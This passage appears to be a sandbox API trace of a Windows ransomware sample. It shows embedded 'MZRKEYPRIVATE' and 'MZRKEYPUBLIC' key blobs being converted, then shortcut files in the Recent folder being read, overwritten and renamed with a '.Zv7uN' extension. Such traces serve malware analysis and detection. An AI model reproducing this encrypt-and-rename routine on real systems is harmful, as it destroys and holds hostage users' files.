DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.057] GetCurrentThreadId () returned 0xa30 [0082.057] GetCurrentThreadId () returned 0xa30 [0082.057] GetCurrentThreadId () returned 0xa30 [0082.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.058] GetCurrentThreadId () returned 0xa30 [0082.058] GetCurrentThreadId () returned 0xa30 [0082.058] GetCurrentThreadId () returned 0xa30 [0082.058] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Music.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my music.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.058] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.058] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.058] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x52a [0082.058] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.058] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x52a, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x52a, lpOverlapped=0x0) returned 1 [0082.060] CloseHandle (hObject=0x124) returned 1 [0082.060] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Music.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my music.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.063] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x52a, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x52a, lpOverlapped=0x0) returned 1 [0082.065] CloseHandle (hObject=0x124) returned 1 [0082.066] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Music.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my music.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Music.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my music.lnk.zv7un")) returned 1 [0082.067] GetCurrentThreadId () returned 0xa30 [0082.067] GetCurrentThreadId () returned 0xa30 [0082.067] GetCurrentThreadId () returned 0xa30 [0082.067] GetCurrentThreadId () returned 0xa30 [0082.067] GetCurrentThreadId () returned 0xa30 [0082.067] GetCurrentThreadId () returned 0xa30 [0082.068] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe149d380, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3179e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3179e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x54f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="My Pictures.lnk", cAlternateFileName="MYPICT~1.LNK")) returned 1 [0082.068] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.068] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.068] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Pictures.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my pictures.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe149d380, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe3179e40, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe3179e40, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x54f)) returned 1 [0082.068] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Pictures.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\my pictures.lnk")) returned 0x20 [0082.068] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\My Pictures.lnk", dwFileAttributes=0x80) returned 1 [0082.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.070] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XD